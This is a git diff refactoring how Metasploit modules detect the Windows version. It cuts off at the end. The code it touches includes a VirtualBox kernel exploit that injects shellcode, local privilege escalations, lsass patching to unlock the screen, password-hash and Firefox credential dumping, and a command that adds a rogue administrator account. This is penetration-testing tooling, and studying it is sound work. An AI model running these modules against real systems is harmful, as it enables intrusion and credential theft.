registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Auto Update', 'AUOptions') diff --git a/modules/exploits/windows/local/tokenmagic.rb b/modules/exploits/windows/local/tokenmagic.rb index dd9f24987d988..34825efdddb1d 100644 --- a/modules/exploits/windows/local/tokenmagic.rb +++ b/modules/exploits/windows/local/tokenmagic.rb @@ -175,23 +175,17 @@ def validate_payload end def check - sysinfo_value = sysinfo['OS'] - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/) - if build_num.nil? - return CheckCode::Unknown("Couldn't retrieve the target's build number!") - else - vprint_status("Target's build number: #{build_num}") - build_num = build_num[0].to_i - end + version = get_version_info - vprint_status("Build Number = #{build_num}") + vprint_status("OS: #{version.product_name}") + # Service method has been tested on Windows 7, 8 and 10 (1803 and ealier) + vulnerable_to_service = version.build_number.between?(Msf::WindowsVersion::Win7_SP1, Msf::WindowsVersion::Win10_1803) if datastore['METHOD'] =~ /service/i - # Service method has been tested on Windows 7, 8 and 10 (1803 and ealier) - return Exploit::CheckCode::Appears if (build_num >= 7601 && build_num <= 17134) - elsif (sysinfo_value =~ /10/ && build_num >= 15063 && build_num <= 17134) + return Exploit::CheckCode::Appears if vulnerable_to_service + elsif version.build_number.between?(Msf::WindowsVersion::Win10_1703, Msf::WindowsVersion::Win10_1803) # DLL method has been tested on Windows 10 (1703 to 1803) return Exploit::CheckCode::Appears - elsif (datastore['METHOD'] =~ /dll/i && build_num >= 7601 && build_num < 15063) + elsif datastore['METHOD'] =~ /dll/i && vulnerable_to_service print_error("The current target is not vulnerable to the DLL hijacking technique. Please try setting METHOD to 'SERVICE' and then try again!") end Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/local/virtual_box_guest_additions.rb b/modules/exploits/windows/local/virtual_box_guest_additions.rb index 2ff1cc294c957..838e3e27d37f7 100644 --- a/modules/exploits/windows/local/virtual_box_guest_additions.rb +++ b/modules/exploits/windows/local/virtual_box_guest_additions.rb @@ -34,7 +34,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ [ @@ -69,10 +69,10 @@ def initialize(info = {}) end def fill_memory(proc, address, length, content) - session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE') - if not proc.memory.writable?(address) - vprint_error("Failed to allocate memory") + if !proc.memory.writable?(address) + vprint_error('Failed to allocate memory') return nil else vprint_good("#{address} is now writable") @@ -81,7 +81,7 @@ def fill_memory(proc, address, length, content) result = proc.memory.write(address, content) if result.nil? - vprint_error("Failed to write contents to memory") + vprint_error('Failed to write contents to memory') return nil else vprint_good("Contents successfully written to 0x#{address.to_s(16)}") @@ -91,7 +91,7 @@ def fill_memory(proc, address, length, content) end def check - if sysinfo["Architecture"] == ARCH_X64 + if sysinfo['Architecture'] == ARCH_X64 return Exploit::CheckCode::Safe end @@ -102,12 +102,12 @@ def check session.railgun.kernel32.CloseHandle(handle) - os = sysinfo["OS"] - unless (os =~ /windows xp.*service pack 3/i) + version = get_version_info + if version != Msf::WindowsVersion::XP_SP3 return Exploit::CheckCode::Safe end - file_path = get_env('WINDIR') << "\\system32\\drivers\\vboxguest.sys" + file_path = get_env('WINDIR') << '\\system32\\drivers\\vboxguest.sys' unless file?(file_path) return Exploit::CheckCode::Unknown end @@ -139,21 +139,21 @@ def exploit end if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system') end handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? - fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device") + fail_with(Failure::NoTarget, 'Unable to open \\\\.\\vboxguest device') end - print_status("Disclosing the HalDispatchTable address...") + print_status('Disclosing the HalDispatchTable address...') hal_dispatch_table = find_haldispatchtable if hal_dispatch_table.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Failed to disclose HalDispatchTable") + fail_with(Failure::Unknown, 'Failed to disclose HalDispatchTable') else - print_good("Address successfully disclosed.") + print_good('Address successfully disclosed.') end print_status('Getting the hal.dll base address...') @@ -164,7 +164,7 @@ def exploit print_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}") hali_query_system_information = hal_base + target['HaliQuerySystemInfo'] - print_status("Storing the shellcode in memory...") + print_status('Storing the shellcode in memory...') this_proc = session.sys.process.open restore_ptrs = "\x31\xc0" # xor eax, eax @@ -181,32 +181,32 @@ def exploit result = fill_memory(this_proc, kernel_shell_address, buf.length, buf) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") + fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory') else print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") end - print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") + print_status('Triggering the vulnerability, corrupting the HalDispatchTable...') session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a040, 0x1, 140, hal_dispatch_table + 0x4 - 40, 0) session.railgun.kernel32.CloseHandle(handle) - print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") + print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...') session.railgun.ntdll.NtQueryIntervalProfile(2, 4) - print_status("Checking privileges after exploitation...") + print_status('Checking privileges after exploitation...') - unless is_system? - fail_with(Failure::Unknown, "The exploitation wasn't successful") + if is_system? + print_good('Exploitation successful!') else - print_good("Exploitation successful!") + fail_with(Failure::Unknown, "The exploitation wasn't successful") end p = payload.encoded - print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") + print_status("Injecting #{p.length} bytes to memory and executing it...") if execute_shellcode(p) - print_good("Enjoy") + print_good('Enjoy') else - fail_with(Failure::Unknown, "Error while executing the payload") + fail_with(Failure::Unknown, 'Error while executing the payload') end end end diff --git a/modules/post/multi/gather/apple_ios_backup.rb b/modules/post/multi/gather/apple_ios_backup.rb index 3c0c873766161..f5e4cc127419e 100644 --- a/modules/post/multi/gather/apple_ios_backup.rb +++ b/modules/post/multi/gather/apple_ios_backup.rb @@ -6,6 +6,7 @@ require 'English' class MetasploitModule < Msf::Post include Msf::Post::File + include Msf::Post::Windows::Version def initialize(info = {}) super( @@ -29,7 +30,6 @@ def initialize(info = {}) core_channel_write stdapi_sys_config_getenv stdapi_sys_config_getuid - stdapi_sys_config_sysinfo ] } } @@ -57,9 +57,9 @@ def run when 'windows' @platform = :windows drive = session.sys.config.getenv('SystemDrive') - os = session.sys.config.sysinfo['OS'] + version = get_version_info - if os =~ /Windows 7|Vista|2008/ + if version.build_number >= Msf::WindowsVersion::Vista_SP0 @appdata = '\\AppData\\Roaming' @users = drive + '\\Users' else diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 34add9dbbbd69..122cf4367ce64 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -64,7 +64,6 @@ def initialize(info = {}) stdapi_fs_stat stdapi_sys_config_getenv stdapi_sys_config_getuid - stdapi_sys_config_sysinfo stdapi_sys_process_get_processes stdapi_sys_process_kill ] @@ -106,7 +105,6 @@ def run if datastore['DECRYPT'] do_decrypt else # Non DECRYPT - paths = [] paths = enum_users if paths.nil? || paths.empty? @@ -151,7 +149,7 @@ def do_decrypt end end - session.type == 'meterpreter' ? (size = '(%s MB)' % '%0.2f' % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = '') + session.type == 'meterpreter' ? (size = format('(%s MB)', '%0.2f') % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = '') tmp = Dir.tmpdir + '/' + new_file # Cross platform local tempdir, "/" should work on Windows too print_status("Downloading #{@paths['ff'] + org_file} to: #{tmp} %s" % size) @@ -176,7 +174,7 @@ def do_decrypt Zip::File.open(tmp) do |zip_file| res = decrypt_modify_omnija(zip_file) end - rescue Zip::Error => e + rescue Zip::Error print_error("Error modifying: #{tmp}") return end @@ -384,7 +382,8 @@ def decrypt_get_env case @platform when :windows - unless got_root || session.sys.config.sysinfo['OS'] =~ /xp/i + version = get_version_info + unless got_root || version.xp_or_2003? print_warning('You may need SYSTEM privileges on this platform for the DECRYPT option to work') end diff --git a/modules/post/windows/escalate/ms10_073_kbdlayout.rb b/modules/post/windows/escalate/ms10_073_kbdlayout.rb index 869af29d77e06..5f3ed494e926b 100644 --- a/modules/post/windows/escalate/ms10_073_kbdlayout.rb +++ b/modules/post/windows/escalate/ms10_073_kbdlayout.rb @@ -6,6 +6,7 @@ require 'metasm' class MetasploitModule < Msf::Post + include Msf::Post::Windows::Version def initialize(info = {}) super( @@ -44,7 +45,6 @@ def initialize(info = {}) stdapi_railgun_api stdapi_railgun_memwrite stdapi_sys_config_getenv - stdapi_sys_config_sysinfo stdapi_sys_process_getpid ] } @@ -57,23 +57,19 @@ def run mem_base = nil dllpath = nil hDll = false - - vuln = false - winver = session.sys.config.sysinfo['OS'] - affected = [ 'Windows 2000', 'Windows XP' ] - affected.each do |v| - if winver.include? v - vuln = true - break - end + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Win7_SP0) + print_error("#{version.product_name} is not vulnerable.") + return end - if !vuln - print_error("#{winver} is not vulnerable.") + + unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::XP_SP2) + print_error("#{version.product_name} is vulnerable, but not supported by this module.") return end # syscalls from http://j00ru.vexillium.org/win32k_syscalls/ - if winver =~ /2000/ + if version.build_number == Msf::WindowsVersion::Win2000 system_pid = 8 pid_off = 0x9c flink_off = 0xa0 @@ -216,7 +212,7 @@ def run print_error('Unable to allocate RWX memory @ 0x%x' % mem_base) return end - print_status('Allocated 0x%x bytes of memory @ 0x%x' % [mem_size, mem_base]) + print_status(format('Allocated 0x%x bytes of memory @ 0x%x', mem_size, mem_base)) # Initialize the buffer to contain NO-OPs nops = "\x90" * mem_size diff --git a/modules/post/windows/escalate/screen_unlock.rb b/modules/post/windows/escalate/screen_unlock.rb index a21c0d5184bc2..d582fc9239085 100644 --- a/modules/post/windows/escalate/screen_unlock.rb +++ b/modules/post/windows/escalate/screen_unlock.rb @@ -6,6 +6,7 @@ require 'metasm' class MetasploitModule < Msf::Post + include Msf::Post::Windows::Version def initialize(info = {}) super( @@ -22,14 +23,13 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'L4teral ', # Meterpreter script - 'Metlstorm' # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16 + 'Metlstorm' # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16 ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ - stdapi_sys_config_sysinfo stdapi_sys_process_attach stdapi_sys_process_memory_read stdapi_sys_process_memory_write @@ -53,23 +53,23 @@ def run revert = datastore['REVERT'] targets = [ - { sig: '8bff558bec83ec50a1', sigoffset: 0x9927, orig_code: '32c0', patch: 'b001', patchoffset: 0x99cc, os: /Windows XP.*Service Pack 2/ }, - { sig: '8bff558bec83ec50a1', sigoffset: 0x981b, orig_code: '32c0', patch: 'b001', patchoffset: 0x98c0, os: /Windows XP.*Service Pack 3/ }, - { sig: '8bff558bec81ec88000000a1', sigoffset: 0xb76a, orig_code: '32c0', patch: 'b001', patchoffset: 0xb827, os: /Windows Vista/ }, - { sig: '8bff558bec81ec88000000a1', sigoffset: 0xb391, orig_code: '32c0', patch: 'b001', patchoffset: 0xb44e, os: /Windows Vista/ }, - { sig: '8bff558bec81ec88000000a1', sigoffset: 0xacf6, orig_code: '32c0', patch: 'b001', patchoffset: 0xadb3, os: /Windows Vista/ }, - { sig: '8bff558bec81ec88000000a1', sigoffset: 0xe881, orig_code: '32c0', patch: 'b001', patchoffset: 0xe93e, os: /Windows 7/ }, - { sig: '8bff558bec83ec50a1', sigoffset: 0x97d3, orig_code: '32c0', patch: 'b001', patchoffset: 0x9878, os: /Windows XP.*Service Pack 3 - spanish/ } + { sig: '8bff558bec83ec50a1', sigoffset: 0x9927, orig_code: '32c0', patch: 'b001', patchoffset: 0x99cc, os_start: Msf::WindowsVersion::XP_SP2, os_end: Msf::WindowsVersion::XP_SP2 }, + { sig: '8bff558bec83ec50a1', sigoffset: 0x981b, orig_code: '32c0', patch: 'b001', patchoffset: 0x98c0, os_start: Msf::WindowsVersion::XP_SP3, os_end: Msf::WindowsVersion::XP_SP3 }, + { sig: '8bff558bec81ec88000000a1', sigoffset: 0xb76a, orig_code: '32c0', patch: 'b001', patchoffset: 0xb827, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 }, + { sig: '8bff558bec81ec88000000a1', sigoffset: 0xb391, orig_code: '32c0', patch: 'b001', patchoffset: 0xb44e, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 }, + { sig: '8bff558bec81ec88000000a1', sigoffset: 0xacf6, orig_code: '32c0', patch: 'b001', patchoffset: 0xadb3, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 }, + { sig: '8bff558bec81ec88000000a1', sigoffset: 0xe881, orig_code: '32c0', patch: 'b001', patchoffset: 0xe93e, os_start: Msf::WindowsVersion::Win7_SP0, os_end: Msf::WindowsVersion::Win7_SP1 }, + { sig: '8bff558bec83ec50a1', sigoffset: 0x97d3, orig_code: '32c0', patch: 'b001', patchoffset: 0x9878, os_start: Msf::WindowsVersion::XP_SP3, os_end: Msf::WindowsVersion::XP_SP3 } # Spanish ] unsupported if client.platform != 'windows' || (client.arch != ARCH_X64 && client.arch != ARCH_X86) - os = client.sys.config.sysinfo['OS'] + version = get_version_info targets.each do |t| - next unless os =~ t[:os] + next unless version.build_number.between?(t[:os_start], t[:os_end]) && !version.windows_server? target = t - print_status("OS '#{os}' found in known targets") + print_status("OS '#{version.product_name}' found in known targets") pid = client.sys.process['lsass.exe'] p = client.sys.process.open(pid, PROCESS_ALL_ACCESS) dllbase = p.image['msv1_0.dll'] diff --git a/modules/post/windows/escalate/unmarshal_cmd_exec.rb b/modules/post/windows/escalate/unmarshal_cmd_exec.rb index 408bb8d04573b..4fea15f349a6d 100644 --- a/modules/post/windows/escalate/unmarshal_cmd_exec.rb +++ b/modules/post/windows/escalate/unmarshal_cmd_exec.rb @@ -5,6 +5,7 @@ class MetasploitModule < Msf::Post include Msf::Post::Common include Msf::Post::File + include Msf::Post::Windows::Version # include Msf::Post::Windows::Priv def initialize(info = {}) @@ -59,8 +60,8 @@ def initialize(info = {}) def setup super validate_active_host - @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))) - @script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))) + @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + @script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i) @script_name = "#{script_name}.sct" unless script_name.match(/\.sct$/i) @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') @@ -69,8 +70,8 @@ def setup end def populate_command - username = Rex::Text.rand_text_alpha((rand(6..13))) - password = Rex::Text.rand_text_alpha((rand(6..13))) + username = Rex::Text.rand_text_alpha(rand(6..13)) + password = Rex::Text.rand_text_alpha(rand(6..13)) print_status("username = #{username}, password = #{password}") cmd_to_run = 'net user /add ' + username + ' ' + password cmd_to_run += ' & net localgroup administrators /add ' + username @@ -95,8 +96,9 @@ def validate_target if sysinfo['Architecture'] == ARCH_X86 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end - if sysinfo['OS'] =~ /XP/ - fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win10_1803) + fail_with(Failure::Unknown, 'The exploit does not support this OS') end end diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index aef45e4e46489..52bf030b137ea 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -89,18 +89,18 @@ def run end def copy_database_file - database_file_path = nil - case sysinfo['OS'] - when /2003| \.NET/ - print_status 'Using Volume Shadow Copy Method' - database_file_path = vss_method - when /2008|2012|2016/ - print_status 'Using NTDSUTIL method' - database_file_path = ntdsutil_method - else - print_error 'This version of Windows is unsupported' + version = get_version_info + if version.windows_server? + if version.build_number.between?(Msf::WindowsVersion::Server2003_SP0, Msf::WindowsVersion::Server2003_SP2) + print_status 'Using Volume Shadow Copy Method' + return vss_method + elsif version.build_number >= Msf::WindowsVersion::Server2008_SP0 + print_status 'Using NTDSUTIL method' + return ntdsutil_method + end end - database_file_path + print_error 'This version of Windows is unsupported' + return nil end def ntds_exists? @@ -114,7 +114,7 @@ def ntds_location end def ntdsutil_method - tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(6..13)))}" + tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}" command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit" result = cmd_exec('ntdsutil.exe', command_arguments, 90) if result.include? 'IFM media created successfully' @@ -190,12 +190,12 @@ def vss_method fail_with(Failure::NoAccess, 'Unable to start VSS service') end location = ntds_location.dup - volume = location.slice!(0, 3) + location.slice!(0, 3) id = create_shadowcopy(volume.to_s) print_status "Getting Details of ShadowCopy #{id}" sc_details = get_sc_details(id) sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit" - target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(6..13)))}" + target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}" print_status "Moving ntds.dit to #{target_path}" move_file(sc_path, target_path) target_path diff --git a/modules/post/windows/gather/dumplinks.rb b/modules/post/windows/gather/dumplinks.rb index 890343f2793b5..0293bd06aa61a 100644 --- a/modules/post/windows/gather/dumplinks.rb +++ b/modules/post/windows/gather/dumplinks.rb @@ -44,7 +44,7 @@ def initialize(info = {}) # Run Method for when run command is issued def run print_status("Running module against #{sysinfo['Computer']}") - enum_users(sysinfo['OS']).each do |user| + enum_users.each do |user| if user['userpath'] print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..." extract_lnk_info(user['userpath']) @@ -60,15 +60,15 @@ def run end end - def enum_users(os) + def enum_users users = [] userinfo = {} - user = session.sys.config.getuid + session.sys.config.getuid userpath = nil - useroffcpath = nil env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME') sysdrv = env_vars['SystemDrive'] - if os =~ /Windows 7|Vista|2008/ + version = get_version_info + if version.build_number >= Msf::WindowsVersion::Vista_SP0 userpath = sysdrv + '\\Users\\' lnkpath = '\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\' officelnkpath = '\\AppData\\Roaming\\Microsoft\\Office\\Recent\\' @@ -104,7 +104,7 @@ def enum_users(os) # This is a hack because Meterpreter doesn't support exists?(file) def dir_entry_exists(path) - files = session.fs.dir.entries(path) + session.fs.dir.entries(path) rescue StandardError return nil else @@ -114,7 +114,6 @@ def dir_entry_exists(path) def extract_lnk_info(path) session.fs.dir.foreach(path) do |file_name| if file_name =~ /\.lnk$/ # We have a .lnk file - record = nil offset = 0 # TODO: Look at moving this to smaller scope lnk_file = session.fs.file.new(path + file_name, 'rb') record = lnk_file.sysread(0x04) @@ -186,7 +185,7 @@ def extract_lnk_info(path) end end lnk_file.close - logfile = store_loot('host.windows.lnkfileinfo', 'text/plain', session, @data_out, "#{sysinfo['Computer']}_#{file_name}.txt", 'User lnk file info') + store_loot('host.windows.lnkfileinfo', 'text/plain', session, @data_out, "#{sysinfo['Computer']}_#{file_name}.txt", 'User lnk file info') end end end diff --git a/modules/post/windows/gather/enum_files.rb b/modules/post/windows/gather/enum_files.rb index b74d6b4ab04ce..b849309f99819 100644 --- a/modules/post/windows/gather/enum_files.rb +++ b/modules/post/windows/gather/enum_files.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::FileSystem + include Msf::Post::Windows::Version include Msf::Auxiliary::Report def initialize(info = {}) @@ -29,7 +30,6 @@ def initialize(info = {}) stdapi_fs_search stdapi_railgun_api stdapi_sys_config_getenv - stdapi_sys_config_sysinfo ] } } @@ -46,21 +46,21 @@ def initialize(info = {}) def download_files(location, file_type) sysdriv = client.sys.config.getenv('SYSTEMDRIVE') - sysnfo = client.sys.config.sysinfo['OS'] profile_path_old = sysdriv + '\\Documents and Settings\\' profile_path_new = sysdriv + '\\Users\\' + version = get_version_info if location print_status("Searching #{location}") - getfile = client.fs.file.search(location, file_type, recurse = true, timeout = -1) + getfile = client.fs.file.search(location, file_type, true, -1) - elsif sysnfo =~ /(Windows XP|2003|.NET)/ + elsif version.build_number < Msf::WindowsVersion::Vista_SP0 print_status("Searching #{profile_path_old} through windows user profile structure") - getfile = client.fs.file.search(profile_path_old, file_type, recurse = true, timeout = -1) + getfile = client.fs.file.search(profile_path_old, file_type, true, -1) else # For systems such as: Windows 7|Windows Vista|2008 print_status("Searching #{profile_path_new} through windows user profile structure") - getfile = client.fs.file.search(profile_path_new, file_type, recurse = true, timeout = -1) + getfile = client.fs.file.search(profile_path_new, file_type, true, -1) end getfile.each do |file| diff --git a/modules/post/windows/gather/enum_muicache.rb b/modules/post/windows/gather/enum_muicache.rb index 2d01da8c41a11..4c9b53ef50bf2 100644 --- a/modules/post/windows/gather/enum_muicache.rb +++ b/modules/post/windows/gather/enum_muicache.rb @@ -230,14 +230,14 @@ def hive_parser(local_hive_copy, muicache, user) # - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots def run print_status('Starting to enumerate MUICache registry keys...') - sys_info = sysinfo['OS'] + version = get_version_info - if sys_info =~ /Windows XP/ && is_admin? - print_good("Remote system supported: #{sys_info}") + if version.xp_or_2003? && is_admin? + print_good("Remote system supported: #{version.product_name}") muicache = '\\Software\\Microsoft\\Windows\\ShellNoRoam\\MUICache' hive_file = '\\NTUSER.DAT' - elsif sys_info =~ /Windows 7/ && is_admin? - print_good("Remote system supported: #{sys_info}") + elsif version.build_number >= Msf::WindowsVersion::Vista_SP0 && is_admin? + print_good("Remote system supported: #{version.product_name}") muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MUICache" hive_file = '\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat' else diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 9b689ca0a9d81..7594ef0d0ab98 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -28,7 +28,6 @@ def initialize(info = {}) 'Commands' => %w[ stdapi_fs_search stdapi_sys_config_getenv - stdapi_sys_config_sysinfo ] } } @@ -139,10 +138,10 @@ def run # http://www.forensicswiki.org/wiki/Prefetch # http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format - sysnfo = client.sys.config.sysinfo['OS'] error_msg = "You don't have enough privileges. Try getsystem." - if sysnfo =~ /(Windows XP|2003|.NET)/ + version = get_version_info + if version.xp_or_2003? if !is_admin? print_error(error_msg) @@ -150,7 +149,7 @@ def run end # Offsets for WinXP & Win2k3 - print_good("Detected #{sysnfo} (max 128 entries)") + print_good("Detected #{version.product_name} (max 128 entries)") name_offset = 0x10 hash_offset = 0x4C runcount_offset = 0x90 @@ -158,14 +157,14 @@ def run # Registry key for timezone key_value = 'StandardName' - elsif sysnfo =~ /(Windows 7)/ + elsif version.win7_or_2008r2? && !version.windows_server? if !is_admin? print_error(error_msg) return nil end # Offsets for Win7 - print_good("Detected #{sysnfo} (max 128 entries)") + print_good("Detected #{version.product_name} (max 128 entries)") name_offset = 0x10 hash_offset = 0x4C runcount_offset = 0x98 diff --git a/modules/post/windows/gather/file_from_raw_ntfs.rb b/modules/post/windows/gather/file_from_raw_ntfs.rb index 57242b325013f..9786049a16f3d 100644 --- a/modules/post/windows/gather/file_from_raw_ntfs.rb +++ b/modules/post/windows/gather/file_from_raw_ntfs.rb @@ -44,9 +44,9 @@ def initialize(info = {}) end def run - winver = sysinfo['OS'] + version = get_version_info - fail_with(Failure::NoTarget, 'Module not valid for Windows 2000') if winver =~ /2000/ + fail_with(Failure::NoTarget, 'Module not valid for Windows 2000') if version.build_number == Msf::WindowsVersion::Win2000 fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin? file_path = datastore['FILE_PATH'] diff --git a/modules/post/windows/gather/forensics/recovery_files.rb b/modules/post/windows/gather/forensics/recovery_files.rb index 9bce86ebc5d96..abd705018960b 100644 --- a/modules/post/windows/gather/forensics/recovery_files.rb +++ b/modules/post/windows/gather/forensics/recovery_files.rb @@ -46,9 +46,8 @@ def initialize(info = {}) end def run - winver = sysinfo['OS'] - - if winver =~ /2000/i + version = get_version_info + if version.build_number == Msf::WindowsVersion::Win2000 print_error('Module not valid for Windows 2000') return end @@ -66,7 +65,7 @@ def run return end - print_status("System Info - OS: #{winver}, Drive: #{drive}") + print_status("System Info - OS: #{version.product_name}, Drive: #{drive}") type = datastore['FILES'] files = type.split(',') # To extract files from its IDs @@ -106,7 +105,7 @@ def get_high_low_values(offset) # Recover the content of the file/files requested def recover_file(offset, handle) - ra = file_system_features(handle) + file_system_features(handle) # Offset could be in a comma separated list of IDs 0.upto(offset.size - 1) do |i| val = get_high_low_values(offset[i].to_i) @@ -199,8 +198,8 @@ def get_datarun_location(datarun) log_cluster = datarun[-n_log_cluster..] offset = datarun[1..n_offset] - log_cluster << "\x00" if (log_cluster.size % 2 != 0) - offset << "\x00" if (offset.size % 2 != 0) + log_cluster << "\x00" if log_cluster.size.odd? + offset << "\x00" if offset.size.odd? # The logical cluster value could be negative so we need to get the 2 complement in those cases if log_cluster.size == 2 int_log_cluster = log_cluster.unpack('v*')[0] diff --git a/modules/post/windows/gather/local_admin_search_enum.rb b/modules/post/windows/gather/local_admin_search_enum.rb index 71d6a4a364722..ef34cf03b5acf 100644 --- a/modules/post/windows/gather/local_admin_search_enum.rb +++ b/modules/post/windows/gather/local_admin_search_enum.rb @@ -76,7 +76,8 @@ def setup # Uses DC which applied policy since it would be a DC this device normally talks to cmd = 'gpresult /SCOPE COMPUTER' # If Vista/2008 or later add /R - if (sysinfo['OS'] =~ /Build [6-9]\d\d\d/) + version = get_version_info + if version.build_number >= Msf::WindowsVersion::Vista_SP0 cmd << ' /R' end res = cmd_exec('cmd.exe', "/c #{cmd}") @@ -111,7 +112,7 @@ def enum_users(host) begin # Connect to host and enumerate logged in users winsessions = client.railgun.netapi32.NetWkstaUserEnum("\\\\#{host}", 1, 4, -1, 4, 4, nil) - rescue ::Exception => e + rescue ::Exception print_error("Issue enumerating users on #{host}") return userlist end diff --git a/modules/post/windows/gather/smart_hashdump.rb b/modules/post/windows/gather/smart_hashdump.rb index 1860e3b777c3a..1a3dc344e03e7 100644 --- a/modules/post/windows/gather/smart_hashdump.rb +++ b/modules/post/windows/gather/smart_hashdump.rb @@ -417,16 +417,17 @@ def smart_hash_dump(migrate_system, pwdfile) if !is_uac_enabled? || is_admin? print_status('Dumping password hashes...') + version = get_version_info # Check if Running as SYSTEM if is_system? # For DC's the registry read method does not work. if domain_controller begin file_local_write(pwdfile, inject_hashdump) - rescue ::Exception => e + rescue ::Exception print_error('Failed to dump hashes as SYSTEM, trying to migrate to another process') - if sysinfo['OS'] =~ /Windows (2008|2012)/i + if version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2012_R2) && version.windows_server? move_to_sys file_local_write(pwdfile, inject_hashdump) else @@ -452,7 +453,7 @@ def smart_hash_dump(migrate_system, pwdfile) results = session.priv.getsystem if results[0] print_good('Got SYSTEM privilege') - if session.sys.config.sysinfo['OS'] =~ /Windows (2008|2012)/i + if version.build_number.between?(Msf::WindowsVersion::Server2008_SP0, Msf::WindowsVersion::Server2012_R2) && version.windows_server? # Migrate process since on Windows 2008 R2 getsystem # does not set certain privilege tokens required to # inject and dump the hashes. @@ -466,7 +467,7 @@ def smart_hash_dump(migrate_system, pwdfile) print_error('Could not get NTDS hashes!') end end - elsif sysinfo['OS'] =~ /Windows (7|8|2008|2012|Vista)/i + elsif version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win81) if migrate_system print_status('Trying to get SYSTEM privilege') results = session.priv.getsystem diff --git a/modules/post/windows/manage/dell_memory_protect.rb b/modules/post/windows/manage/dell_memory_protect.rb index 4eb8a1aef8ba6..5f1338123033c 100644 --- a/modules/post/windows/manage/dell_memory_protect.rb +++ 